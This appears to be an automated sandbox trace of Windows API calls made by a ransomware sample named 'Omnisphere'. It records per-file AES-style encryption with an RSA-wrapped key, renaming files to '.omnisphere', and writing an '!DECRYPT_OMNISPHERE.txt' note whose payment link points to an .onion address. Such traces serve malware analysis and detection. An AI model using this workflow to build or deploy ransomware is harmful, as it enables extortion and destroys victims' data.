[0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.385] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.386] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.387] CryptDestroyKey (hKey=0x16395e8) returned 1 [0120.387] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0120.387] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4d2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.387] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.387] GetProcessHeap () returned 0x1600000 [0120.387] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16cc7e0 [0120.387] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i58xqciyj.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i58xqciyj.lnk.omnisphere")) returned 1 [0120.388] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk.omnisphere.id" [0120.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i58xqciyj.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.388] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.390] CloseHandle (hObject=0x3c0) returned 1 [0120.390] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.390] CloseHandle (hObject=0x288) returned 1 [0120.390] SetEndOfFile (hFile=0x28c) returned 1 [0120.390] FlushFileBuffers (hFile=0x28c) returned 1 [0120.396] CloseHandle (hObject=0x28c) returned 1 [0120.397] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i58XQciyj.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.397] GetProcessHeap () returned 0x1600000 [0120.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.397] GetProcessHeap () returned 0x1600000 [0120.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1ca8 [0120.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1ca8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.397] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.397] GetProcessHeap () returned 0x1600000 [0120.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0248 [0120.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0248, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.397] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.397] GetProcessHeap () returned 0x1600000 [0120.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfc58 [0120.397] PathCombineW (in: pszDest=0x16bfc58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.397] GetProcessHeap () returned 0x1600000 [0120.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c5b60 [0120.397] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.398] WriteFile (in: hFile=0x28c, lpBuffer=0x16c5b60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c5b60*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.398] CloseHandle (hObject=0x28c) returned 1 [0120.398] GetProcessHeap () returned 0x1600000 [0120.398] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.398] GetProcessHeap () returned 0x1600000 [0120.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.398] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.398] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.398] CloseHandle (hObject=0x28c) returned 1 [0120.399] GetProcessHeap () returned 0x1600000 [0120.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.399] GetProcessHeap () returned 0x1600000 [0120.399] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16560e8 | out: hHeap=0x1600000) returned 1 [0120.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e5ca02c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e5ca02c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e5ca02c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="i74al7MC18tUuay.lnk", cAlternateFileName="I74AL7~1.LNK")) returned 1 [0120.399] GetProcessHeap () returned 0x1600000 [0120.399] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0120.399] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="i74al7MC18tUuay.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk" [0120.399] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i74al7mc18tuuay.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.399] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=847) returned 1 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.399] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] GetTickCount () returned 0x115e144 [0120.400] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0120.401] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.401] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.401] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.401] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0120.401] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34f, lpName=0x0) returned 0x288 [0120.401] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34f) returned 0x1480000 [0120.402] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0120.402] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0120.402] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.402] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 